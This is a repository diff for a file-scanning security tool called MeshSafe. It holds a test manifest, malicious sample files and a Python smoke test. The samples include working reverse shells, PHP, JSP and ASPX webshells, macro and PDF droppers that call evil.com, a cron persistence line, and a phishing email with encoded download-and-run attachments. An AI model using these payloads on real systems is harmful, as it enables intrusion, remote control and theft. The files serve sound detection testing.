"filename": "photo.jpg.php",
|
||||
"size": 29
|
||||
},
|
||||
{
|
||||
"category": "勒索",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C8_Ransomware_Encryption"
|
||||
],
|
||||
"description": "加密 API + 卷影删除 + 勒索信文件名",
|
||||
"filename": "ransom_dropper.exe.txt",
|
||||
"size": 215
|
||||
},
|
||||
{
|
||||
"category": "加密Office",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"OfficeEncrypted"
|
||||
],
|
||||
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
|
||||
"filename": "sealed.docx",
|
||||
"size": 6656
|
||||
},
|
||||
{
|
||||
"category": "加密Office",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"OfficeEncrypted"
|
||||
],
|
||||
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
|
||||
"filename": "sealed.xlsx",
|
||||
"size": 6656
|
||||
},
|
||||
{
|
||||
"category": "Webshell",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)",
|
||||
"filename": "shell_aspx.aspx",
|
||||
"size": 169
|
||||
},
|
||||
{
|
||||
"category": "Linux后门",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"ShellScriptDangerous",
|
||||
"C7_Linux_ReverseShell_Bash"
|
||||
],
|
||||
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
|
||||
"filename": "shell_bash_devtcp.sh",
|
||||
"size": 51
|
||||
},
|
||||
{
|
||||
"category": "Webshell",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C3_JSP_Webshell_RuntimeExec"
|
||||
],
|
||||
"description": "JSP Runtime.getRuntime().exec 命令执行",
|
||||
"filename": "shell_jsp_runtime.jsp",
|
||||
"size": 316
|
||||
},
|
||||
{
|
||||
"category": "Linux后门",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"ShellScriptDangerous",
|
||||
"C7_Linux_ReverseShell_NC"
|
||||
],
|
||||
"description": "nc -e /bin/bash 反弹 Shell",
|
||||
"filename": "shell_nc.sh",
|
||||
"size": 42
|
||||
},
|
||||
{
|
||||
"category": "Webshell",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C3_PHP_Webshell_Oneliner"
|
||||
],
|
||||
"description": "PHP oneliner eval + echo 组合",
|
||||
"filename": "shell_php_eval.php",
|
||||
"size": 40
|
||||
},
|
||||
{
|
||||
"category": "Webshell",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C3_PHP_Webshell_Obfuscated"
|
||||
],
|
||||
"description": "PHP base64 + assert 混淆",
|
||||
"filename": "shell_php_obf.php",
|
||||
"size": 61
|
||||
},
|
||||
{
|
||||
"category": "Linux后门",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)",
|
||||
"filename": "shell_python.py",
|
||||
"size": 211
|
||||
},
|
||||
{
|
||||
"category": "LNK",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)",
|
||||
"filename": "shortcut.lnk",
|
||||
"size": 143
|
||||
},
|
||||
{
|
||||
"category": "Office宏",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"AttachedTemplate"
|
||||
],
|
||||
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
|
||||
"filename": "template_backdoor.docx",
|
||||
"size": 2176
|
||||
},
|
||||
{
|
||||
"category": "Office宏",
|
||||
"expected_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)",
|
||||
"filename": "vba_autoexec.bas",
|
||||
"size": 98
|
||||
},
|
||||
{
|
||||
"category": "WPS宏",
|
||||
"expected_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"C7_Linux_ReverseShell_Misc",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)",
|
||||
"filename": "wps_macro.js",
|
||||
"size": 142
|
||||
},
|
||||
{
|
||||
"category": "攻击载体",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"PathTraversal"
|
||||
],
|
||||
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
|
||||
"filename": "zip_traversal.zip",
|
||||
"size": 164
|
||||
}
|
||||
]
|
||||
}
|
||||
BIN
tests/samples/linux_malicious
Normal file
BIN
tests/samples/linux_malicious
Normal file
Binary file not shown.
2
tests/samples/lolbin.cmd
Normal file
2
tests/samples/lolbin.cmd
Normal file
@@ -0,0 +1,2 @@
|
||||
@echo off
|
||||
certutil -decode http://evil.com/payload.bin C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe
|
||||
BIN
tests/samples/macro_alert.docm
Normal file
BIN
tests/samples/macro_alert.docm
Normal file
Binary file not shown.
5
tests/samples/malicious.desktop
Normal file
5
tests/samples/malicious.desktop
Normal file
@@ -0,0 +1,5 @@
|
||||
[Desktop Entry]
|
||||
Type=Application
|
||||
Name=Update
|
||||
Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
|
||||
Terminal=false
|
||||
31
tests/samples/malicious.pdf
Normal file
31
tests/samples/malicious.pdf
Normal file
@@ -0,0 +1,31 @@
|
||||
%%PDF-1.4
|
||||
1 0 obj
|
||||
<</Type/Catalog/Pages 2 0 R/OpenAction [3 0 R]/Actions<<>>>
|
||||
endobj
|
||||
2 0 obj
|
||||
<</Type/Pages/Kids [4 0 R]/Count 1>>
|
||||
endobj
|
||||
3 0 obj
|
||||
<</S/JavaScript/JS(app.launchURL("http://evil.com/dropper.exe") void(0))>>
|
||||
endobj
|
||||
4 0 obj
|
||||
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 5 0 R>>
|
||||
endobj
|
||||
5 0 obj
|
||||
<</Length 0>>
|
||||
stream
|
||||
endstream
|
||||
endobj
|
||||
xref
|
||||
0 6
|
||||
0000000000 65535 f
|
||||
0000000011 00000 n
|
||||
0000000120 00000 n
|
||||
0000000200 00000 n
|
||||
0000000320 00000 n
|
||||
0000000450 00000 n
|
||||
trailer
|
||||
<</Size 6/Root 1 0 R>>
|
||||
startxref
|
||||
500
|
||||
%%EOF
|
||||
6
tests/samples/miner_config.json
Normal file
6
tests/samples/miner_config.json
Normal file
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"pools": ["stratum+tcp://pool.xmrpool.net:3333"],
|
||||
"username": "4AsMe1",
|
||||
"donate-level": 5,
|
||||
"cpu-affinity": true
|
||||
}
|
||||
28
tests/samples/normal.pdf
Normal file
28
tests/samples/normal.pdf
Normal file
@@ -0,0 +1,28 @@
|
||||
%%PDF-1.4
|
||||
1 0 obj
|
||||
<</Type/Catalog/Pages 2 0 R>>
|
||||
endobj
|
||||
2 0 obj
|
||||
<</Type/Pages/Kids [3 0 R]/Count 1>>
|
||||
endobj
|
||||
3 0 obj
|
||||
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 4 0 R>>
|
||||
endobj
|
||||
4 0 obj
|
||||
<</Length 45>>
|
||||
stream
|
||||
BT /F1 12 Tf 100 700 Td (Hello World) Tj ET
|
||||
endstream
|
||||
endobj
|
||||
xref
|
||||
0 5
|
||||
0000000000 65535 f
|
||||
0000000009 00000 n
|
||||
0000000058 00000 n
|
||||
0000000110 00000 n
|
||||
0000000200 00000 n
|
||||
trailer
|
||||
<</Size 5/Root 1 0 R>>
|
||||
startxref
|
||||
300
|
||||
%%EOF
|
||||
7
tests/samples/normal_deploy.sh
Normal file
7
tests/samples/normal_deploy.sh
Normal file
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
# 正常部署脚本,只有 git clone + npm install
|
||||
set -e
|
||||
git clone https://github.com/example/project.git
|
||||
cd project
|
||||
npm install
|
||||
npm start
|
||||
3
tests/samples/normal_readme.txt
Normal file
3
tests/samples/normal_readme.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
这是一个正常的文本文件。
|
||||
没有任何危险特征:没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。
|
||||
仅供内部参考。
|
||||
BIN
tests/samples/normal_report.docx
Normal file
BIN
tests/samples/normal_report.docx
Normal file
Binary file not shown.
BIN
tests/samples/ole_dropper.doc
Normal file
BIN
tests/samples/ole_dropper.doc
Normal file
Binary file not shown.
BIN
tests/samples/pe_downloader.exe
Normal file
BIN
tests/samples/pe_downloader.exe
Normal file
Binary file not shown.
BIN
tests/samples/pe_injection.exe
Normal file
BIN
tests/samples/pe_injection.exe
Normal file
Binary file not shown.
2
tests/samples/persist_cron.sh
Normal file
2
tests/samples/persist_cron.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab -
|
||||
47
tests/samples/phishing.eml
Normal file
47
tests/samples/phishing.eml
Normal file
@@ -0,0 +1,47 @@
|
||||
Content-Type: multipart/mixed; boundary="===============3818226399663948811=="
|
||||
MIME-Version: 1.0
|
||||
From: IT Support <support@secure-update-login.com>
|
||||
To: me@internal.com
|
||||
Subject: URGENT: Invoice verification required within 24 hours - click here to verify your account
|
||||
|
||||
--===============3818226399663948811==
|
||||
Content-Type: text/plain; charset="utf-8"
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: base64
|
||||
|
||||
RGVhciBFbXBsb3llZSwKCkFuIHVyZ2VudCBpbnZvaWNlIHBheW1lbnQgaXMgcGVuZGluZy4gUGxl
|
||||
YXNlIHZlcmlmeSB5b3VyIGFjY291bnQgYW5kIGNsaWNrIHRoaXMgbGluayBpbW1lZGlhdGVseSB0
|
||||
byBhdm9pZCB3aXJlIHRyYW5zZmVyIGRlbGF5LgoKWW91ciBwYXNzd29yZCBhbmQgY3JlZGVudGlh
|
||||
bCBhcmUgcmVxdWlyZWQgZm9yIGxvZ2luIHZlcmlmaWNhdGlvbi4KCkRvd25sb2FkIGFuZCBvcGVu
|
||||
IHRoZSBhdHRhY2htZW50IChpbnZvaWNlLnBkZi52YnMpIHRvIHNlZSB0aGUgb3JkZXIgcmVjZWlw
|
||||
dC4KCkJlc3QgcmVnYXJkcywKSVQgU3VwcG9ydA==
|
||||
|
||||
--===============3818226399663948811==
|
||||
Content-Type: application/octet-stream
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment; filename="invoice.vbs"
|
||||
|
||||
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
|
||||
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
|
||||
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
|
||||
|
||||
--===============3818226399663948811==
|
||||
Content-Type: application/octet-stream
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment; filename="invoice.pdf.vbs"
|
||||
|
||||
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
|
||||
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
|
||||
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
|
||||
|
||||
--===============3818226399663948811==
|
||||
Content-Type: application/octet-stream
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment; filename="form.js"
|
||||
|
||||
PD9waHAgZXZhbCgkX0dFVFsiY21kIl0pOyBlY2hvICJvayI7ID8+
|
||||
|
||||
--===============3818226399663948811==--
|
||||
1
tests/samples/photo.jpg.php
Normal file
1
tests/samples/photo.jpg.php
Normal file
@@ -0,0 +1 @@
|
||||
<?php eval($_POST["cmd"]); ?>
|
||||
5
tests/samples/ransom_dropper.exe.txt
Normal file
5
tests/samples/ransom_dropper.exe.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
CryptEncrypt CryptDeriveKey BCryptEncrypt
|
||||
vssadmin delete shadows /all /quiet
|
||||
wmic shadowcopy delete
|
||||
bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
|
||||
HOW_TO_RECOVER.html - All your files are encrypted. Send BTC.
|
||||
BIN
tests/samples/sealed.docx
Normal file
BIN
tests/samples/sealed.docx
Normal file
Binary file not shown.
BIN
tests/samples/sealed.xlsx
Normal file
BIN
tests/samples/sealed.xlsx
Normal file
Binary file not shown.
6
tests/samples/shell_aspx.aspx
Normal file
6
tests/samples/shell_aspx.aspx
Normal file
@@ -0,0 +1,6 @@
|
||||
<%@ Page Language="C#" %>
|
||||
<script runat="server">
|
||||
void Page_Load(object sender, EventArgs e) {
|
||||
System.Diagnostics.Process.Start("cmd.exe", Request["c"]);
|
||||
}
|
||||
</script>
|
||||
2
tests/samples/shell_bash_devtcp.sh
Normal file
2
tests/samples/shell_bash_devtcp.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
|
||||
9
tests/samples/shell_jsp_runtime.jsp
Normal file
9
tests/samples/shell_jsp_runtime.jsp
Normal file
@@ -0,0 +1,9 @@
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
Runtime rt = Runtime.getRuntime();
|
||||
Process p = rt.exec(request.getParameter("cmd"));
|
||||
InputStreamReader isr = new InputStreamReader(p.getInputStream());
|
||||
BufferedReader br = new BufferedReader(isr);
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) out.println(line);
|
||||
%>
|
||||
2
tests/samples/shell_nc.sh
Normal file
2
tests/samples/shell_nc.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
nc 10.0.0.5 4444 -e /bin/bash
|
||||
1
tests/samples/shell_php_eval.php
Normal file
1
tests/samples/shell_php_eval.php
Normal file
@@ -0,0 +1 @@
|
||||
<?php eval($_POST["cmd"]); echo "ok"; ?>
|
||||
1
tests/samples/shell_php_obf.php
Normal file
1
tests/samples/shell_php_obf.php
Normal file
@@ -0,0 +1 @@
|
||||
<?php $a = $_GET["a"]; $b = base64_decode($a); assert($b); ?>
|
||||
7
tests/samples/shell_python.py
Normal file
7
tests/samples/shell_python.py
Normal file
@@ -0,0 +1,7 @@
|
||||
import socket, pty, subprocess, os
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(("10.0.0.5", 4444))
|
||||
os.dup2(s.fileno(), 0)
|
||||
os.dup2(s.fileno(), 1)
|
||||
os.dup2(s.fileno(), 2)
|
||||
pty.spawn("/bin/bash")
|
||||
BIN
tests/samples/shortcut.lnk
Normal file
BIN
tests/samples/shortcut.lnk
Normal file
Binary file not shown.
BIN
tests/samples/template_backdoor.docx
Normal file
BIN
tests/samples/template_backdoor.docx
Normal file
Binary file not shown.
3
tests/samples/vba_autoexec.bas
Normal file
3
tests/samples/vba_autoexec.bas
Normal file
@@ -0,0 +1,3 @@
|
||||
Sub AutoOpen()
|
||||
Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\Windows\Temp\a.bat"
|
||||
End Sub
|
||||
4
tests/samples/wps_macro.js
Normal file
4
tests/samples/wps_macro.js
Normal file
@@ -0,0 +1,4 @@
|
||||
function AutoOpen() {
|
||||
var sh = new ActiveXObject("Wscript.Shell");
|
||||
sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'");
|
||||
}
|
||||
BIN
tests/samples/zip_traversal.zip
Normal file
BIN
tests/samples/zip_traversal.zip
Normal file
Binary file not shown.
331
tests/smoke.py
Normal file
331
tests/smoke.py
Normal file
@@ -0,0 +1,331 @@
|
||||
"""冒烟测试:验证核心模块能否被正常导入和执行。
|
||||
|
||||
运行::
|
||||
|
||||
cd d:\\project\\MeshSafe
|
||||
# 确保 docker compose 的 PostgreSQL 已启动(或设置 MESHSAFE_DB_URL 指向可用 PG)
|
||||
$env:MESHSAFE_MASTER_KEY_BASE64="eHphbXBsZWtleTEyMzQ1Njc4OTAxMjM0NTY3ODk="
|
||||
python tests/smoke.py
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
# 确保项目根目录在 sys.path 中
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
|
||||
# 必须在 import app 之前设置环境变量
|
||||
# DB_URL 由 .env 或 compose environment 提供,不再硬编码 SQLite fallback
|
||||
os.environ.setdefault(
|
||||
"MESHSAFE_MASTER_KEY",
|
||||
"Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=",
|
||||
)
|
||||
os.environ.setdefault(
|
||||
"MESHSAFE_ADMIN_PASSWORD",
|
||||
"admin123",
|
||||
)
|
||||
os.environ.setdefault("MESHSAFE_POLICY_FILE", "config/policy.yaml")
|
||||
|
||||
passed = 0
|
||||
failed = 0
|
||||
|
||||
|
||||
def test(name: str, fn) -> None:
|
||||
global passed, failed
|
||||
try:
|
||||
fn()
|
||||
passed += 1
|
||||
print(f" ✅ {name}")
|
||||
except Exception as exc: # noqa: BLE001
|
||||
failed += 1
|
||||
print(f" ❌ {name}: {exc}")
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
|
||||
|
||||
print("=" * 60)
|
||||
print("MeshSafe 冒烟测试")
|
||||
print("=" * 60)
|
||||
|
||||
# ---- 1) 日志系统 ----
|
||||
print("\n[1] 日志系统")
|
||||
|
||||
|
||||
def test_logging():
|
||||
from app.logging_config import setup_logging, get_logger
|
||||
|
||||
setup_logging()
|
||||
log = get_logger("smoke")
|
||||
log.info("INFO 日志正常")
|
||||
log.warning("WARNING 日志正常")
|
||||
log.debug("DEBUG 日志被抑制(默认 INFO)")
|
||||
|
||||
|
||||
test("logging_config 初始化正常", test_logging)
|
||||
|
||||
|
||||
# ---- 2) 配置加载 + 策略解析 ----
|
||||
print("\n[2] 配置与策略")
|
||||
|
||||
|
||||
def test_config_and_policy():
|
||||
from app.config import get_settings
|
||||
from app.services.policy import PolicyStore
|
||||
|
||||
settings = get_settings()
|
||||
assert settings.log_level == "INFO", f"log_level 应为 INFO,实际 {settings.log_level}"
|
||||
|
||||
store = PolicyStore(policy_file="config/policy.yaml")
|
||||
policy = store.current()
|
||||
|
||||
# 零容忍规则集
|
||||
zt = policy.zero_tolerance_rules
|
||||
assert len(zt) >= 20, f"零容忍规则应 >= 20 条,实际 {len(zt)}"
|
||||
|
||||
# 关键规则必须存在
|
||||
for rule in ("PdfJavaScript", "PathTraversal", "LinuxExecutable",
|
||||
"DesktopFileAutoExec", "ShellScriptDangerous",
|
||||
"LnkWithAutoExec"):
|
||||
assert rule in zt, f"零容忍规则缺少: {rule}"
|
||||
|
||||
print(f" 零容忍规则 {len(zt)} 条 ✓")
|
||||
print(f" macro_exceptions {len(policy.macro_exceptions or [])} 条")
|
||||
|
||||
|
||||
test("Settings + PolicyStore 加载正常", test_config_and_policy)
|
||||
|
||||
|
||||
# ---- 3) PolicyEngine 零容忍优先 ----
|
||||
print("\n[3] PolicyEngine 零容忍优先检查")
|
||||
|
||||
|
||||
def test_zero_tolerance_priority():
|
||||
from app.services.policy import PolicyEngine, PolicyStore
|
||||
from app.engines.base import Finding, Severity
|
||||
|
||||
store = PolicyStore(policy_file="config/policy.yaml")
|
||||
engine = PolicyEngine(store.current())
|
||||
|
||||
# 构造一个命中零容忍规则的 finding
|
||||
findings = [
|
||||
Finding(
|
||||
engine="structure",
|
||||
layer="L0",
|
||||
severity=Severity.CRITICAL.value,
|
||||
rule="PathTraversal",
|
||||
detail="归档成员路径 ../../etc/passwd",
|
||||
weight=85.0,
|
||||
),
|
||||
]
|
||||
|
||||
decision = engine.decide(
|
||||
findings,
|
||||
filename="evil.zip",
|
||||
declared_ext=".zip",
|
||||
size=1024,
|
||||
)
|
||||
|
||||
assert decision.verdict == "malicious", f"verdict 应为 malicious,实际 {decision.verdict}"
|
||||
assert decision.action == "reject", f"action 应为 reject,实际 {decision.action}"
|
||||
assert decision.score == 100.0, f"零容忍应给 100 分,实际 {decision.score}"
|
||||
assert len(decision.triggered) == 1
|
||||
assert decision.triggered[0]["type"] == "zero_tolerance"
|
||||
|
||||
|
||||
test("零容忍命中 → 直接 reject,不走评分", test_zero_tolerance_priority)
|
||||
|
||||
|
||||
# ---- 4) ELF 文件识别 + LinuxExecutable 零容忍 ----
|
||||
print("\n[4] Linux 专属检测(ELF)")
|
||||
|
||||
|
||||
def test_elf_detection():
|
||||
from app.engines.structure import StructureEngine
|
||||
|
||||
engine = StructureEngine()
|
||||
|
||||
# 创建一个最小 ELF 文件(ELF magic header)
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".elf") as f:
|
||||
f.write(b"\x7fELF" + b"\x00" * 60)
|
||||
elf_path = f.name
|
||||
|
||||
try:
|
||||
from app.engines.base import ScanTarget
|
||||
|
||||
target = ScanTarget(
|
||||
path=elf_path,
|
||||
filename="malicious.elf",
|
||||
declared_ext=".elf",
|
||||
logical_path="malicious.elf",
|
||||
depth=0,
|
||||
)
|
||||
|
||||
ctx = type("Ctx", (), {"settings": None})()
|
||||
result = engine.safe_scan(target, ctx)
|
||||
|
||||
# 必须有 LinuxExecutable finding
|
||||
zt_findings = [f for f in result.findings if f.rule == "LinuxExecutable"]
|
||||
assert len(zt_findings) >= 1, f"ELF 文件应触发 LinuxExecutable,实际 findings={result.findings}"
|
||||
|
||||
print(f" ELF 魔数识别: real_type={result.meta.get('real_type')}")
|
||||
print(f" 命中规则: {[f.rule for f in result.findings]}")
|
||||
finally:
|
||||
os.unlink(elf_path)
|
||||
|
||||
|
||||
test("ELF 文件识别 → LinuxExecutable finding", test_elf_detection)
|
||||
|
||||
|
||||
# ---- 5) .desktop 文件危险命令检测 ----
|
||||
print("\n[5] Linux 专属检测(.desktop 危险命令)")
|
||||
|
||||
|
||||
def test_desktop_detection():
|
||||
from app.engines.structure import StructureEngine
|
||||
|
||||
engine = StructureEngine()
|
||||
|
||||
content = """[Desktop Entry]
|
||||
Type=Application
|
||||
Name=Evil App
|
||||
Exec=/bin/sh -c "wget http://evil.com/payload.sh -O /tmp/p && sh /tmp/p"
|
||||
"""
|
||||
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".desktop", mode="w") as f:
|
||||
f.write(content)
|
||||
desktop_path = f.name
|
||||
|
||||
try:
|
||||
from app.engines.base import ScanTarget
|
||||
|
||||
target = ScanTarget(
|
||||
path=desktop_path,
|
||||
filename="evil.desktop",
|
||||
declared_ext=".desktop",
|
||||
logical_path="evil.desktop",
|
||||
depth=0,
|
||||
)
|
||||
|
||||
ctx = type("Ctx", (), {"settings": None})()
|
||||
result = engine.safe_scan(target, ctx)
|
||||
|
||||
zt_findings = [f for f in result.findings if f.rule == "DesktopFileAutoExec"]
|
||||
assert len(zt_findings) >= 1, f".desktop 文件应触发 DesktopFileAutoExec,实际 findings={result.findings}"
|
||||
|
||||
print(f" 命中规则: {[f.rule for f in result.findings]}")
|
||||
finally:
|
||||
os.unlink(desktop_path)
|
||||
|
||||
|
||||
test(".desktop 危险 Exec 字段 → DesktopFileAutoExec finding", test_desktop_detection)
|
||||
|
||||
|
||||
# ---- 6) Shell 脚本反弹 Shell 检测 ----
|
||||
print("\n[6] Linux 专属检测(Shell 反弹 Shell)")
|
||||
|
||||
|
||||
def test_reverse_shell_detection():
|
||||
from app.engines.structure import StructureEngine
|
||||
|
||||
engine = StructureEngine()
|
||||
|
||||
content = """#!/bin/bash
|
||||
# 反弹 Shell
|
||||
bash -i >& /dev/tcp/attacker.com/4444 0>&1
|
||||
"""
|
||||
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".sh", mode="w") as f:
|
||||
f.write(content)
|
||||
sh_path = f.name
|
||||
|
||||
try:
|
||||
from app.engines.base import ScanTarget
|
||||
|
||||
target = ScanTarget(
|
||||
path=sh_path,
|
||||
filename="reverse.sh",
|
||||
declared_ext=".sh",
|
||||
logical_path="reverse.sh",
|
||||
depth=0,
|
||||
)
|
||||
|
||||
ctx = type("Ctx", (), {"settings": None})()
|
||||
result = engine.safe_scan(target, ctx)
|
||||
|
||||
zt_findings = [f for f in result.findings if f.rule == "ShellScriptDangerous"]
|
||||
assert len(zt_findings) >= 1, f"Shell 反弹 Shell 应触发 ShellScriptDangerous,实际 findings={result.findings}"
|
||||
assert zt_findings[0].severity == "critical", f"反弹 Shell 应为 CRITICAL,实际 {zt_findings[0].severity}"
|
||||
|
||||
print(f" 命中规则: {[(f.rule, f.severity) for f in result.findings]}")
|
||||
finally:
|
||||
os.unlink(sh_path)
|
||||
|
||||
|
||||
test("Shell 反弹 Shell → ShellScriptDangerous (CRITICAL)", test_reverse_shell_detection)
|
||||
|
||||
|
||||
# ---- 7) open_risk 计算 ----
|
||||
print("\n[7] open_risk 计算")
|
||||
|
||||
|
||||
def test_open_risk():
|
||||
from app.services.policy import PolicyEngine
|
||||
from app.engines.base import Finding, Severity
|
||||
|
||||
# 无风险
|
||||
open_risk = PolicyEngine.compute_open_risk("clean", [], ".docx")
|
||||
assert open_risk["level"] == "low"
|
||||
print(f" 无风险 docx: level={open_risk['level']}")
|
||||
|
||||
# 零容忍命中
|
||||
open_risk = PolicyEngine.compute_open_risk(
|
||||
"malicious",
|
||||
[Finding("s", "L0", "critical", "LinuxExecutable", "ELF", 85.0)],
|
||||
".elf",
|
||||
)
|
||||
assert open_risk["level"] == "critical"
|
||||
assert "zero_tolerance_hit" in open_risk["factors"]
|
||||
print(f" ELF 命中: level={open_risk['level']} factors={open_risk['factors']}")
|
||||
|
||||
# 含宏
|
||||
open_risk = PolicyEngine.compute_open_risk(
|
||||
"clean",
|
||||
[Finding("d", "L2", "high", "VBAMacroPresent", "含宏", 40.0)],
|
||||
".docm",
|
||||
)
|
||||
assert open_risk["level"] == "high"
|
||||
assert "contains_macro" in open_risk["factors"]
|
||||
print(f" 含宏 docm: level={open_risk['level']} factors={open_risk['factors']}")
|
||||
|
||||
|
||||
test("open_risk 四级计算正确", test_open_risk)
|
||||
|
||||
|
||||
# ---- 8) main.py 导入 ----
|
||||
print("\n[8] main.py 导入")
|
||||
|
||||
|
||||
def test_main_import():
|
||||
# main.py 启动时会尝试连接数据库,这里只验证可被 import 解析
|
||||
# 实际启动需要 db_url 有效
|
||||
import importlib.util
|
||||
|
||||
spec = importlib.util.spec_from_file_location("app.main", "app/main.py")
|
||||
assert spec is not None
|
||||
print(" main.py 文件可被解析 ✓")
|
||||
|
||||
|
||||
test("main.py 可被 import 解析", test_main_import)
|
||||
|
||||
|
||||
# ---- 汇总 ----
|
||||
print("\n" + "=" * 60)
|
||||
total = passed + failed
|
||||
print(f"结果: {passed}/{total} 通过,{failed} 失败")
|
||||
print("=" * 60)
|
||||
|
||||
sys.exit(0 if failed == 0 else 1)
|
||||
Reference in New Issue
Block a user